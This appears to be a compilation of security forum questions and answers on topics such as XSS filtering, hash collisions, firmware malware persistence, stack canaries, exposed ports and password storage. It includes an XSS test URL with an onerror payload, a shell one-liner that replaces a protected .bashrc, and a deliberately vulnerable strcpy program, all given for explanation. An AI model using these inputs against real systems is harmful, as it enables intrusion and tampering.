IIS - RequestFiltering for # I came across this link today that does run XSS on the site it was originally intended for:

https://<site>/<page>.html/?#prettyPhoto=Not_FeelIng_Safe&%3Cimg%20src=%27x%27%20onerror=alert%287%29%3E&#4B

I tried this on my site, which has request filtering configured to 404 on img, alert and onerror but this URL was allowed.

I added # to deny rules and I also added it as a deny sequence in the QueryStrings tab, but it was still allowed. Presumably because # is special and anything after it doesn't count as URL or Querystring.

Is it wise to block # if our site(s) don't need it and if so, how can I deny # on IIS7?

The string following # is the ‘fragment identifier’ and is normally used to navigate to an anchor element inside an HTML document (but here is used to simulate URL navigation in a single-page-app).

The fragment identifier is used purely by the browser client-side and is not even included in the request to the web server, so you cannot filter it on the server side in IIS or any other server.

(You should not rely on ASP.NET Request Filtering for security. This is only one of the places it fails.)

You could attempt to ‘filter’ it on the client side by including a <script> run before any other script, that sabotages the page and refuses to load any more script if it detects anything it considers ‘bad’ in location.hash, but that's still subject to all the same failure modes of blacklist input sniffing that make Request Validation a waste of everyone's time.


Do different files always have different MD5 or SHA1 hash codes? My question is if different files always lead to different MD5 or SHA1 hash codes?

@PeterHarmann's answer is entirely correct, but to add to it: Secure hash algorithms (which MD5 was intended to be, and which is literally what "SHA" stands for) are supposed to be highly resistant to collisions where any two inputs have the same output. While such collisions will always exist for any algorithm that can take a longer (in terms of arbitrary bits of data) input than its output, finding them is supposed to be near-impossible. Ideally, doing so requires a brute-force attack on an infeasibly large search space, even when utilizing a birthday attack. In other words, while it's true that different files cannot always have different hash digests, in practice it's supposed to be possible to act as though they do.

SHA1 is deprecated because it has been demonstrated to be vulnerable to a collision attack, as Peter's link shows. MD5 is even worse, though; it has been demonstrated to be vulnerable to a chosen-prefix collision attack, where two distinct inputs can have suffixes appended to cause them to have the same hash digest. This was demonstrated as a way to break the protections afforded by cryptographic signatures (one of the key uses of secure hashes) by creating colliding X.509 certificates, allowing an attacker to generate a fraudulent certificate (with their own public key) that has the same hash and therefore the same signature as a valid certificate signed by a trusted certificate authority. The Flame malware used a fraudulent certificate purportedly signed by Microsoft, which was possible because Microsoft had a CA that was still issuing MD5-signed certificates.


Malware that can survive BIOS re-flashing The well-respected security consultant Dragos Ruiu is reporting that he has been infected with mysterious malware that can survive re-installation of the OS and re-flashing of the OS.  In other words, he has taken an infected machine, wiped it, airgapped it, reflashed its BIOS, replaced its disk drive, installed a fresh OS -- and after booting the new OS, it was still infected.

How might such an infection remain?  What mechanisms could malware use, to keep its hooks in a machine and survive both re-flashing of the BIOS and re-installation of OS?

I'm of course interested in possibilities for what mechanism Dragos' mysterious malware might be using, but let's not stop there.  More broadly, I'm also interested in what mechanisms malware could use to survive wiping of the disk and flashing of the BIOS.  What schemes could malware use for this purpose?

This question has implications for how we recover from infection.  A standard saying is that, once you've been hacked, "The only way to be sure is to nuke it from orbit" -- in other words, you gotta wipe the hard drive and re-install everything from scratch.  Maybe the lesson from this mysterious malware is that even "nuking it from orbit" isn't enough.  So, to understand what we need to do to restore an infected machine to a known-good state, it'd help to understand all of the ways that malware could stay resident even after you replace the hard disk and re-flash the BIOS.

More background: this page summarizes what Dragos has reported about the mysterious malware he was infected with.  See also this outstanding answer from Gilles.

As for how it may happen that reflashing the BIOS does not eradicate the malware, we can hazard a few guesses:

The reflash operation is under control of... the BIOS, so the infected BIOS only pretends to do the reflash (or reinfects the new BIOS immediately afterwards).
Another flashable firmware in the machine is also infected, and when either it or the BIOS is reflashed, the still infected firmware reinfects the other one. Any device with DMA can hijack the live machine at any point, and most devices with a firmware have an onboard CPU which would be up to the task (GPU, hard disks...).
The disk firmware is infected, and inserts malicious code in the boot code which reinfects the BIOS. (Not sure it matches the symptoms, but that's a possibility.)

The common theme here is that all the reflashing is done while part of the machine is live, so there is a chicken-and-egg: you cannot securely reflash from a machine which runs infected code (even indirectly, in the case of a DMA-able device with its own CPU), but if the machine is off you cannot reflash either. Ideally, the BIOS chip would be removed from the machine, reflashed from another device (without booting it, of course), and then plugged back. But these chips are usually soldered... We know how to make pluggable chips -- e.g. none other than the CPU, so it is doable without killing I/O performance. But I imagine that soldering is cheaper for the manufacturer.

Maybe manufacturers could add some JTAG-like ports which would allow reflashing a chip soldered in a powered-off board (really powered off, with the power cord physically removed).


What can an attacker do in this scenario? (unwritable bashrc, profile, etc.) Scenario:

Typical Linux desktop setup: unprivileged user but with sudo capabilities to do basically everything
For the sake of argument let's forget about X11 and its way to allow trivial keyloggers, so let's say the distro is using Wayland or whatever
Path is defined in bash profile so that ~/bin comes last, so running "firefox" should run the default firefox and not a custom "firefox" installed by the user in their home directory.
.bashrc, .profile, .bash_profile, .bash_logout, etc. (all those kinds of files) are only writable by root, so the user needs to use sudo to edit them.

The attacker then gives the user a malicious file, the user runs it without privileges (without sudo), and... what could the attacker achieve? At the moment I can only think of "plain phishing", that is, the malicious code will try to imitate another application, for example telling you a system update is required, and asking for your sudo/root password. But I suspect there are much more possible vectors.

I'm asking this question because I read that preventing the abuse of bashrc and similar config files is useless if the attacker can run arbitrary code on your computer. Yet I can't think of all the things an attacker could do in practice in this situation. I'd like some practical examples.

Path is defined in bash profile so that ~/bin comes last, so running "firefox" should run the default firefox and not a custom "firefox" installed by the user in their home directory.

Variables can be overwritten in runtime. Shortcuts on desktop and in menus can be overwritten. Aliases can be defined. Instruct the desktop environment to start your code every time it starts... As forest writes; there's too many to list them all. Consider your account compromised!

  .bashrc, .profile, .bash_profile, .bash_logout, etc. (all those kinds of files) are only writable by root, so the user needs to use sudo to edit them.

Let me show you something:

[/tmp/foo]$ touch bar
[/tmp/foo]$ sudo chown root bar
[/tmp/foo]$ ls -la
total 24
drwxr-xr-x   2 vidarlo users  4096 Jun 17 14:13 .
drwxrwxrwt 131 root    root  20480 Jun 17 14:13 ..
-rw-r--r--   1 root    users     0 Jun 17 14:13 bar
[/tmp/foo]$ chmod 777 bar
chmod: changing permissions of 'bar': Operation not permitted
[/tmp/foo]$ rm bar
rm: remove write-protected regular empty file 'bar'? y
[/tmp/foo]$

As long as you have write permission for the directory (which you pretty much need for ~), you can remove files you do not own. An attacker can trivially do cat .bashrc > /tmp/foo && rm -f .bashrc && cat /tmp/foo > .bashrc, effectively recreating the files.

In addition, local privilege escalation attacks on a desktop solution is not exactly unheard of.


Security Manager job description I work in a growing, family owned business. The company has 300 employees and has landed some big clients who require major policy changes in order to give us their continued business. Among those changes is the development and implementation of a security policy.

I work the IT help desk and since I just took and passed the Security+ examination, management thought I was the best qualified person to take up this initiative. I received the title of Security Manager and have to come up with my own job description to present to the company, in order to discuss compensation.

I have checked out what is available through a Google search but was wondering if there might be a SANS template somewhere or some other such document, from a reputable institution.

Any suggestions are greatly appreciated.

I just had a flashback to the A+ and NT MCSE days.. back to the topic at hand. Information security tends to fall on two sides: either you do the technical side (aka analyst or engineer ) or the policy side (aka auditor or manager). In a 300 person company I would suspect that you are going to need to do both the technical and policy side. Do a search for information security on indeed.com. The indeed.com listings can give you an idea of typical information security job descriptions and salaries.


How to know if a specific address is on stack or heap using immuntiy debugger? I have an address (i.e. 0x010f73fc) and I need to know where this address exist ? is it on stack or heap ?

In another way, how to differentiate between addresses that belong to the stack and addresses that belong to heap ?

As a general rule, you can't know just from the address. But with some context you can. Look at the SP register, for example. The stack and the heap typically grow toward each other, so in a low memory pressure environment, the addresses should be far apart.


Why should canary values be chosen at runtime instead of compile time? For buffer overflow attacks, my exam review says that there are drawbacks to choosing canary values at compile time vs runtime. Why would it be better to choose the canary value at runtime?

A canary value chosen at compile-time is constant from run to run, across all copies of the program.  This means an attacker can figure it out by analyzing the program; once they know it, they can set up their overflow attack so that the overflow over-writes the canary with the same value it had originally, making the attack undetectable.

If the canary value is chosen at runtime, on the other hand, an attacker needs to guess it on the first try.  If they guess wrong, the attack will be detected; ideally, this would trigger the application developer to find and fix the bug that permitted the overflow in the first place.

A minor benefit is that it increases the security against brute-force attacks slightly: for example, an attacker trying to guess a static 32-bit canary through trial-and-error will need to make an average of 2 billion guesses, where a runtime-chosen canary will take an average of around 3 billion guesses because the canary can change to a value the attacker has already tried.


How does default Debian boot drive encryption works? When installing Debian, I chose an option to create Encrypted LVM (Logical Volume Management). So now, when I turn on my PC, it asks me for an encryption password.

It looks ok, but how does it work? What does GRUB initialize to ask my password, if the full drive with my OS and Kernel is encrypted?

How does it decrypt my files after I put in my password? If there are any possible problems with this system?

The /boot partition is not encrypted for exactly the reason you mention in your question. Typically, files and data should not be written to that partition for exactly this reason.


How to post comments on websites without being traced back Just trying to get some general sense about the security on internet now-a-days.

There are so many websites I go and comment on different things. If some comments are political and they don't like, I am afraid, they will trace me back.

So just wanted to know few basic things

Is it possible for any website (example-www.cnn.com) to trace me
back based on my comment in their website. (If I have used a fake
email id)
Is it possible that my ISP can trace me if they want?
Whats the best way I can browse and post my opinions fearlessly. I mean using proxy, vpn all those things.

If someone can put some light on these concerns, i would be very obliged.

How much a website knows

Assuming you are browsing on a website without any protection, a website can know a great deal of things about a computer. Further, a great deal of this information is generally stored by the website in some sort of database. Often times, websites will store a great deal of information in order to remember some information about you in the event that you log on or register. I would be shocked if a message board did not at least tie your IP to your post in the event they want to ban it if a lot a spam comes from it. Your IP can be traced back to you by an ISP rather easily. It would be rather difficult, however, for CNN to know exactly who you are, though.

How much and ISP knows

Everything not sent encrypted on a network can be logged by an ISP if they wanted. Basically, we allow ISPs to be a man in the middle so we can do the whole internet thing. They basically, then, can know whatever they want about most internet traffic. And they of course know who you are.

What to do

I cannot tell you what the best method is simply because I doubt one exists. This question: Whats the best way to make my internet traffic anonymous? has some answers that you may want to look at. I personally prefer HTTPSeverywhere as a method of encrypting traffic to help against normal data interception. This, however, depends on the website being secure itself.  Note that proxies and VPNs trade in one level of trust for another. The website will know where the proxy or VPN is located. The proxy or VPN will know where you are located. You are not making yourself impossible to track, just harder. This question: How does Google Maps know where I am, when I'm using a VPN? shows some instances where locations services were able to break through VPNs.


main and sub encryption key on OpenPGP smartcard The tutorial for creating and storing keys on an OpenPGP smartcard with GPG by the Free Software Foundation (FSF) at wiki.fsfe.org recommends creating a main and sub key for encryption, where the main key should not be stored on the card.

While the merit of a main key and sub keys (for authentication, signing and encryption) is amply documented, what's the merit of a main and sub key specifically for encryption?

That documentation is a bit weird. The reason why there is a "main encryption subkey" is, that the master key in that documentation is created as a DSA key. And since DSA can only be used for signatures and not for encryption, gpg automatically creates a subkey for that purpose (for the ElGamal algorithm).

Since you are creating two more subkeys lateron (of type RSA), that ElGamal key is not needed anymore and thus deleted.

In the end you have one master key which you should only use to sign and revoke other keys and keep offline, and two subkeys for your daily use: One for signing, one for decrypting.


Storing the password database on offline server This password database resides on the authentication server which is connected to the Internet.

My question is that if the password database is stored on different server than the machine connected to the Internet, will it prevent database breach?

The machine connected to the network can load the data from the password database using the local network as and when needed.

In this case, what scenarios do not prevent the breach?

No, it would not add anything other than security by obscurity which is not a great thing, it'll give you delusions of strong security.

Depending on what level of access the person gets to the network facing server, it's still trivial to get to the database. not to mention, what is probably the majority of the time, breaches happen by SQL injection which would still cause issues here as the network-facing server would just act as a proxy for the specially crafted user submitted data and the return from the server. if the attacker was to gain, for instance, shell access to the network-facing computer, they could just manually connect to the database server on the local network and wreak havoc.


Why is nmap that slow on my system (ubuntu 14.04)? I just started to learn something about portscanning with nmap. when i try to run an a nullscan or any other type on a virtual machine (win7 no firewall) the scan needs a lot of time to perform:

sebi@sebi-UX31A:~$ sudo nmap -sN 192.168.1.109

Starting Nmap 6.40 ( http://nmap.org ) at 2015-01-01 22:07 CET
Nmap scan report for win7-PC (192.168.1.109)
Host is up (0.00054s latency).
All 1000 scanned ports on win7-PC (192.168.1.109) are closed
MAC Address: 08:00:27:4D:CF:E8 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 45.53 seconds

Unfortunately I have no idea how to solve the problem. I hope someone can help me.

You're running nmap at its default scan speed, which should take about 90 seconds to scan a local system.  If you want to scan faster, specify either -T4 or -T5 as the scanning speed.  Note that a faster speed can be less accurate if either the connection or the computer at the other end can't handle it, and is more likely to trigger firewalls or IDSs.


How secure is 'blacking out' sensitive information using MS Paint? I'm wondering if it's safe to black out sensitive information from a picture just by using Microsoft Paint?

Let's take in this scenario that EXIF data are stripped and there is no thumbnail picture, so that no data can be leaked in such a way.

But I'm interested in whether there is any other attack, that can be used in order to retrieve hidden information from the picture?

As mentioned in the answers to a very similar question, scribbling over part of an image will destroy the original pixels, assuming that your editor doesn't store any layers or undo history in the saved image. (Paint doesn't.) There are some things to watch out for, though:

The width of the blanked region places an upper bound on the length of the secret data
The height of the region could tell attackers whether the text representation of the data has ascenders or descenders (like in the letters b and p)
Any spaces in the blanked region provide information about the relative lengths of the data's parts/words (mentioned in David Schwartz's comment)

If you use a blur rather than a plain opaque rectangle/brush, a determined attacker could try lots of different possibilities in the image to see what text(s) get close to your image when blurred. Some effects can be undone almost perfectly, so make sure the one you use involves a lot of randomness or actual data destruction (e.g. a blocky pixellization). Of course, Paint doesn't have any special effects, so you should be fine.

One possible thing to be wary of is JPEG compression artifacts around the secret data, which could be used to get clues about the shape of the text. It never hurts to overwrite more information than necessary when you're concerned about secrecy. (This attack isn't a problem if the image never went through JPEG compression before your redaction.)


Barcodes as an attack vector? I was watching a defcon video a couple of weeks ago where a guy was demonstrating how barcode readers were generally quite easy to hack. He went on to say things such as with most systems the input isn't sanitised (sounds similar to SQL injection) and that most of them were configurable by bar codes easily obtained by the manufacturer. Combined with the fact that a machine can quickly be configured to read all types of barcodes including the ones that can store in excess of 1000 characters, are barcodes a vulnerability? And how could one prevent this?

So far the possible vulnerabilities I can see are SQL injection and buffer overflows.

Yes, barcode scanners present a potential vulnerability.  You need to prevent attacks from this vector in the same way you'd prevent attacks from any input vector, such as a network connection or a keyboard.

Validate inputs in the app, not the scanner. Do not rely on configuring the scanner to only deliver 12 digit UPC-A barcodes. As every web app developer quickly learns, trusting the client to perform input sanitization is a giant security hole. Use length checks in the app to ensure that buffer overflows can't be exploited. Perform white-listing value checks to make sure you don't have out-of-bounds characters (for example, if you're expecting the user to scan only a product UPC-A or EAN-13 barcode, you should throw an exception if the input detects any non-digit values.)
Code defensively. Just as with a web app, you need to make secure coding choices such as parameterized SQL. You should already be doing this to protect against keyboard-entered SQL injection attacks; barcodes are nothing special here.
Harden your devices.  Most barcode scanners are initially configured by scanning a series of special manufacturer provided barcodes (your scanners' documentation will describe these symbols.)  Read the scanners' documentation to find the way to configure the scanners from the host computer via the data connection. Once you can configure the scanners from the computer, do so. Among the configuration items to set, you should disable the scanner's ability to read the configuration barcodes.


GUI exe BruteForce login test Hi I have created a login page Below. I want to test the security of my exe I do not want to use a captcha or timeout on my exe.

Are there any applications specifically designed for bruteforcing .exe applications? In my experience I have only encountered web page attacking apps.

That's cool I can use them to test my applications web side.. and i'm happy with the results however, I want to know if there is any kind of bruteforce program I can use which would somehow lock on to the fields of my application and start iterating through usernames passwords etc. Is this possible or am I worrying to much?

CURRENT STATE OF EXE:

notice I am using 3 fields USER, PASSWORD and IP.
Data is saved if the client chooses to do so.
Written in Delphi/Lazarus (don't hate)

bruteforcing .exe applications

You mean fuzzers?  Password list crackers? Program flow analyzers?

Yes. There are. And unless you build in proper (NOT self-rolled) cryptography, you need none of them: a simple debugger, which exists for all operating systems and is an absolute standard tool, can be used to extract the checks you're doing on the input, and just "bend" program flow so that the program just ignores what you enter and does what it would do when you enter the right passwords.

Seriously. Your exe isn't in your control. The only way to disable access to someone who isn't in possession of a secret is to encrypt whatever you want to protect with exactly that secret (either directly, or by encrypting a key with that secret), or to not store the protected thing with the exe but only deliver it from your server, which you do control.

In essence, you must never assume your executable code on someone else's computer is behaving like you've programmed it. Doesn't matter whether it's HTML+JavaScript, Delphi, C++ or assembler. It's running on a machine that you do not control.


What can be done to bridge the Air Gap, except autorun? What can be done to bridge the Air Gap, except autorun?

Is there any hardware butterflies that can attack physically isolated Unix/Linux machine in common usb drives, like VSC (Vendor Specific Commands)?

http://www.recover.co.il/SA-cover/SA-cover.pdf

Any bug in the handling of USB devices can be exploited by malicious hardware. That's how the PS3 Jailbreak worked.

Remember that when you plug a "USB Flash drive" in a machine, you cannot be sure that what you plug is really "just a Flash drive". The machine sees it as a "USB device" which may claim to be a keyboard, a mouse, a network interface... A malicious Flash drive could be in fact a wireless network device, which claims to be some sort of ethernet card; the machine may react by automatically connecting to it (DHCP and so on): no more air gap !

Alternatively, the USB device may claim to be a USB-to-firewire converter and the device driver, already known to the machine, would then grant device-initiated DMA privileges: the device can then read and write any data byte in the machine.

Really, if you are serious about your security, don't plug untrusted device in a USB port.


Exploiting vulnerabilities in the C code I'm preparing for an introductory information security examination in university and this is one of the examination questions on Secure Programming.

In such questions, I would usually catch for Buffer Overflow or Integer Overflow that lead to other consequences, but due to the context of the problem, I did not manage to find any vulnerabilities in this program.

Can someone help me out here with the questions? The answers are not provided by the school. Sorry in advance, the actual paper document is not formatted such that it allows copy over.

Here is the question.

1)

          m                          s
 +-----------------+-------------------------------------+
 |AAAAAAAAAAAAAAAAA|                                     |
 +-------------------------------------------------------+
 ^                 ^
 |                 |
 +                 +
src               dest

If m contains exactly 100 bytes and is not null-terminated, then what will happen after strcpy(s, m)?

After 100 bytes are copied:

         m                          s
+-----------------+-------------------------------------+
|AAAAAAAAAAAAAAAAA|AAAAAAAAAAAAAAAA|                    |
+----------------------------------+--------------------+
                  ^                ^
                  |                |
                  +                +
                 src              dest

As there is no null-byte at src, it will keep copying:

         m                          s
+-----------------+-------------------------------------+
|AAAAAAAAAAAAAAAAA|AAAAAAAAAAAAAAAA|AAAAAAAAAAAAAAAAAAAA|
+-----------------+----------------+--------------------+
                                   ^                    ^
                                   |                    |
                                   +                    +
                                  src                  dest

and it will keep copying like this until it finds a null-byte (which it obviously never will) and will destroy the stack and will continue copying until it runs into an unmapped address and causes a segmentation fault.

2) Free'\0'$1.50. x will be 1, y will be 50, but strcpy(s, m) will copy Free to s.

3) Free'\0'$0.50000. x will be 0, which will pass the check at L10, but y will be 50000, and L13 will yield 100*0 + 50000, or $500.

Updated answer for 1:
You are probably having trouble replicating it because the size of m and s are not actually 100 and 200 but something like 112 and 208 (depending on the preferred stack boundary of your compiler). So s does not start exactly where m ends. And if there happens to be no leftover data from previous stack operations in that extra space, then this will not work. The question mentions 'potentially' crashing the process, as this will not work in all platforms and in all contexts.

The key thing to note here is that running strcpy on a src buffer that may not be null-terminated is an unsafe operation. For example, as m and s are uninitialized, there might be leftover data from previous stack operations which will then cause strcpy to go berserk. Example snippet:

#include <stdio.h>
#include <unistd.h>
#include <string.h>

void randomstuff()
{
    unsigned char buf[400];

    for (int i = 0; i < 400; i++)
        buf[i] = 'A';

    buf[399] = '\0';
}

void vuln()
{
    unsigned char m[100];
    unsigned char s[200];

    read(0, m, 10);
    strcpy(s, m);

    printf("%s\n", m);
}

int main(void)
{
    randomstuff();
    vuln();
    return 0;
}

Here, we are making sure there is some stuff on the stack where m and s resides (a string of 399 As). Note that we are reading only 10 bytes into the 100 byte m buffer. Yet literally provide any input to read to watch this program burn.


Which all ports are in danger and needs to be closed with immediate attention? This is the nmap scan results on my server (used for email and web serving) from a remote scan. Which all ports are in danger and why?

PORT      STATE    SERVICE
21/tcp    open     ftp
25/tcp    open     smtp
42/tcp    filtered nameserver
53/tcp    open     domain
69/tcp    filtered tftp
80/tcp    open     http
110/tcp   open     pop3
135/tcp   filtered msrpc
137/tcp   filtered netbios-ns
138/tcp   filtered netbios-dgm
139/tcp   filtered netbios-ssn
143/tcp   open     imap
161/tcp   filtered snmp
162/tcp   filtered snmptrap
179/tcp   filtered bgp
443/tcp   open     https
445/tcp   filtered microsoft-ds
465/tcp   open     smtps
587/tcp   open     submission
993/tcp   open     imaps
995/tcp   open     pop3s
1028/tcp  filtered unknown
1080/tcp  filtered socks
1214/tcp  filtered fasttrack
1241/tcp  filtered nessus
2077/tcp  open     unknown
2078/tcp  open     unknown
2082/tcp  open     infowave
2083/tcp  open     radsec
2086/tcp  open     gnunet
2087/tcp  open     eli
2095/tcp  open     nbx-ser
2096/tcp  open     nbx-dir
3127/tcp  filtered unknown
3128/tcp  filtered squid-http
3306/tcp  open     mysql
5554/tcp  filtered sgi-esphttp
6666/tcp  filtered irc
6667/tcp  filtered irc
6668/tcp  filtered irc
6777/tcp  filtered unknown
7007/tcp  filtered afs3-bos
9996/tcp  filtered unknown
22816/tcp open     unknown
51180/tcp filtered unknown
42/udp   open|filtered nameserver
53/udp   open          domain?
69/udp   open|filtered tftp
135/udp  open|filtered msrpc
137/udp  open|filtered netbios-ns
138/udp  open|filtered netbios-dgm
139/udp  open|filtered netbios-ssn
161/udp  open|filtered snmp
|_snmp-hh3c-logins: TIMEOUT
|_snmp-win32-shares: TIMEOUT
162/udp  open|filtered snmptrap
1701/udp open|filtered L2TP

Without knowing anything about your server, I'd classify the following ports as a danger:

53/tcp    open     domain
53/udp   open          domain?

Most people shouldn't be running publicly accessible DNS servers.  If it's not locked down properly, your server can be hijacked to participate in a reflected denial-of-service attack.

3306/tcp  open     mysql

You should never expose your database server to the Internet at large.

2077/tcp  open     unknown
2078/tcp  open     unknown
2082/tcp  open     infowave
2083/tcp  open     radsec
2086/tcp  open     gnunet
2087/tcp  open     eli
2095/tcp  open     nbx-ser
2096/tcp  open     nbx-dir

22816/tcp open     unknown

These ports don't correspond to any standard service.  Find out what's got them open and firewall it or shut it down.

I'd classify these as potentially problematic:

21/tcp    open     ftp

You shouldn't be using FTP these days.  It transfers credentials in the clear, it's a pain to make it work with firewalls, and in general it's an old, crufty protocol.  Shut your FTP server down and do any file serving over HTTP, HTTPS, or task-specific protocol.

25/tcp    open     smtp

If your SMTP server isn't configured right, you can find it being used as a spam relay.

The rest of the open ports may or may not be a problem, depending on the purpose of the server.


Knowing if a malware infected something else than the hdd or ssd I saw a very interesting answer stating that something else than hdd or ssd can be infected : Can a computer virus be stored somewhere else than on the hard drive?

It is very important for me to be sure that I'm in a secured environnement, especially when I'm making a system image.

As for my question, I'd like to know the most effective way to determine if a firmware/hardware other than hdd/ssd is infected (and how to secure it if it is). I currently use Avira Antivirus + Malwarebytes Anti Malware. I want to be sure that my computer, when plugged offline, is secured after restoring my system image.

This includes:

Bios / Uefi
System Management Mode (SMM)
GPUs
Network cards
And possibly others I'm not aware of.

I know it is very difficult for someone to infect those elements, and unlikely to happen, but it is still in the realm of possibilities hence we should have the needed knowledge required to know if we are infected and to protect us against those.

In theory you computer contains several critical devices with software writeable firmware.
We know that there are a couple of bad guys infecting firmware (https://leaksource.wordpress.com/2013/12/30/nsas-ant-division-catalog-of-exploits-for-nearly-every-major-software-hardware-firmware/).

Pretty much any device connected to your PCI bus could take over your system for example by reading / writing memory.

In theory your hardware could even have been backdoored at the factory.

But to my knowledge so far we have not seen this stuff in the wild. So if you are not being specifically targeted by nation state actors you are not in danger.

Your Avira AV (one of the better AVs out there) would probably not help you since it doesn´t look at your firmware and I I would guess Avira has close to 0 samples of backdoored firmware so far. But yes, if your firmware later drops cheap malware into userspace the malware could get detected.


why don't we store passwords in a database using encryption instead of hashing? hashing is a one way method, if a user lost his password he will never be able to get that password from the server,
so
why don't we store passwords in a database using encryption instead of hashing?

Because if a user can get their password out of the database, then so can:

The system/database administrator.
The school/employer/government who's proxying the user's Internet access.
The hacker who pwned the WiFi at the coffee shop.
The hacker who pwned the user's e-mail account.
The hacker who pwned the server.

In some of these cases, ease of access is dependent upon whether or not the system is vulnerable to other exploits. In others, the damage can be exacerbated or reduced depending on the user's password hygiene.

However, all cases represent scenarios where hashing would mostly - if not completely - block people who shouldn't have access to other people's passwords. Encryption cannot help here.

It's also worth noting that a user does not ever, for the purposes intended by any website, need to get their actual login credentials from the system. In the case that a user forgets their password, the system should provide a mechanism by which they can securely reset or change it to a new, known value.

Will switching to password hashing and implementing a reset (instead of recovery) process absolutely prevent an attacker from accessing a user's account in all the scenarios above? No. But it certainly raises the bar, and ensures that the damage for the user is isolated to just that one account - not every account the user used the same password on.


Should I let users pick their own secret questions for password reset? I'm building a web application and I'm actually writing a code that allows users to choose their secret question and answer used to identify them if they forget their passwords.

I'm a little bit confused here because many well-known websites offer only a list of restricted and predetermined questions and do not allow users to type their own secret questions. However this decreases the security as hackers may easily guess the answers by social engineering, information gathering... (well the secret question is not secret anymore).

Is there any security risk in letting people store their own secret questions and then let them select it among other random questions when they need to identify themselves.

I'm aware of SQL injection risk, so let's suppose that my code is secure and that data is stored in the right way.

Basically, people are rubbish at coming up with questions. They come up with things like "Type 'secret'" or "My name" - they're worthless at best, and actively harmful at worst ("Usual password" - the answer to the question will tend to be stored in plain text...). Even pre-determined questions are fairly bad - they tend to either be easily guessed, or easily forgotten (for example, if you ask "What was your first car?", and your site caters for 18 year olds, it's a matter of looking on Facebook and there is almost certainly a photo of them with it...).

Best practice is to email a password reset link to the stored email address (avoiding exposing whether the entered address exists or not), which is time-limited and one-use. You can then ask a question if you want, but since you have already verified that they have access to the email address associated with the account, it's probably best to assume they know anything that might commonly be emailed (address, date of birth, partner's name, etc.), so it may not add much, if anything, in terms of security.


Is there a place where I can upload my honeypot logs to? Maybe a weird question but I've had a public facing HTTP/SSH honeypot for a little bit over a year now and was wondering if there was any place that I can upload my logs to? There are a bunch of automated scans, some interesting RFI / RCE attempts and malicious SSH login attempts and I'm sure it can benefit the community in a whole to log those IP Addresses for possible malicious activity. I've asked this on a subreddit before and apparently there are private groups/organizations who collect these, but not any public ones? Can anyone elaborate on this? Is there really no public effort in this domain? Thanks in advance...

One comment by Luc raises an interesting concern. The problem for any site that would accept honeypot logs is to tell whether you're a trusted source or just full of it. They don't want you to accidently/maliciously include legitimate traffic in an attempt to ruin those user's reputations or simply "dilute" the pool by flooding it with meaningless traffic that is not malicious.

I would suggest you just start your own site, publish logs and follow up manually on the more interesting attacks you've found, possibly by disassembling their malware or trying to track down/shut down the C&C. Try to break the news about newer threats never seen before. You would slowly build yourself a reputation and be recognized as a trusted source by the infosec community.


The main difference between IP and ARP spoofing My question can be broken into two parts:

ARP spoofing attack can appear in various ways but all of them have a similar goal: Take advantage of the lack of L2 authentication by poisoning the target ARP cache with the attacker's MAC Address. Since this process also requires spoofing the IP address of the target host, what is the difference between saying IP spoofing and ARP spoofing? Are they really a complement to each other in this case?
Source Address Validation SAVI has already been standardized by IETF to help to prevent IP Spoofing. This standard itself is very complicated and I really don't get the idea of this technique, can someone please briefly explain how SAVI helps to prevent against IP spoofing?

IP spoofing is filling in the IP address field on a packet with an address that isn't the sender's IP address. This means you can't receive responses to that packet, so it isn't particularly useful, but it can be used as part of an exploit in order to make it harder to trace, or to make it look like the packet came from another source in order to bypass IP based authentication measures (obviously only if the exploit doesn't require a response from the server). Another use is when carrying out DDOS attacks - here you don't care where the response is sent as long as the server handles the request.

An ARP spoofing attack involves transmitting faked ARP packets. The Address Resolution Protocol is used for translating network addresses (IP addresses) into link layer addresses (MAC addresses).

What normally happens is, a computer sends out an ARP request to every device on the network, asking for the MAC address corresponding to a given IP. The device that currently has that IP address then sends an ARP response back to the computer that originally made that request, containing it's MAC address.

In an ARP spoofing attack, you send a fake ARP response with your MAC address, before the intended recipient can respond. Now the computer that made the request thinks that that IP address belongs to you, and it will send all traffic that was intended for that recipient on to you instead.

You can then forward the traffic back on to the original recipient - you don't have to do this, but it allows you to intercept the connection without either device being aware. If the device that you have ARP hijacked is the gateway, you can now intercept (and tamper with) all internet traffic on the network (provided it isn't encrypted


RSA generating private and public keys I'm trying to implement RSA encryption in PHP. I'm stuck at generating the public and private keys.

I have P = 61, Q = 53, MOD = P * Q = 3233, N = (Q - 1) * (P - 1) = 3120. How do I chose the value of e after computing all GCD values?

function generatePublicKeyValue($n){
    $n2 = 0;
    for( $i2 = 1; $i2 < $n;$i2++ ){
        if( gratestCommonDivisor($i2,$n) == 1  ){
            if( $i2 > 1 ){
                $n2 = $i2;
                return $n2;
            }
        }
    }
}

How do I calculate the private key knowing the value of N and e?

function generatePrivateKeyValue($n,$e){
    $d =  ( 2 * $n +1) / $e ;
    return $d;
}

I am assuming you are aware that this is text-book RSA and you are not planning on implementing this for security purposes. In case this is not clear, let me just remind you that you should not roll your own crypto for anything security related.

Now with that aside, I will try my best to answer your questions. Please excuse the use of images for formulas. Unfortunately, this website does not have LaTeX support.

  How do I chose the value of "e" after computing all GCD values?

I will rename your variables as follows: p = 61, q = 53, n = p * q = 3233, and phi(n) = (q - 1) * (p - 1) = 3120, where phi() is Euler's totient function, denoted as φ(n) in my LaTeX snippets. With these variables you can pick a value for e as follows:

That being said, as @Sjoerd pointed out, the values 3 and 65537 are commonly used for e. [1]

  How do I calculate the private key knowing the value of N and "e"?

To compute the private key d, use the following congruence equation and solve for d:

To make things easier, you should use the modular multiplicative inverse of e.


Setting passwords for domain users, not expiring them, and not allowing them to be changed by users We are in a mid-sized enterprise environment and are looking at forcing specific passwords for all users. I've found nothing recent or relevant about this.

Justification:

The main reason is to ensure that personal passwords (often compromised) are not used in our environment. Go ahead and use your LinkedIn password for your bank account, just keep it out of my environment.
IT is familiar with generating long, full charset, but still highly memorable passphrases. Whereas a user facing a 14 character minimum might immediately forget what they just entered.  correct horse battery staple, baby!
Entropy. What's better than generating your own passphrase? Having a password nerd admin who knows what "random" actually means do it for you.
The company culture supports it. Users are coddled. Help Desk staff keeps an encrypted list of passwords because users assume we can log in as them on a whim. In our case, the risk of someone in IT setting the world on fire doesn't lessen by setting passwords. That risk is inherited by the trust bestowed upon us by users. They want (ugh, need) IT to have their password.
Microsoft has just changed their tune about password expiration policies, placing more weight on length and charset. More of a selling point to the change. "Ok you don't have to change your password as often, but in exchange, we're going to set a secure one for you"
All accounts still sit behind MFA, maximum login attempt policies, etc. No reason to stop using common sense now.

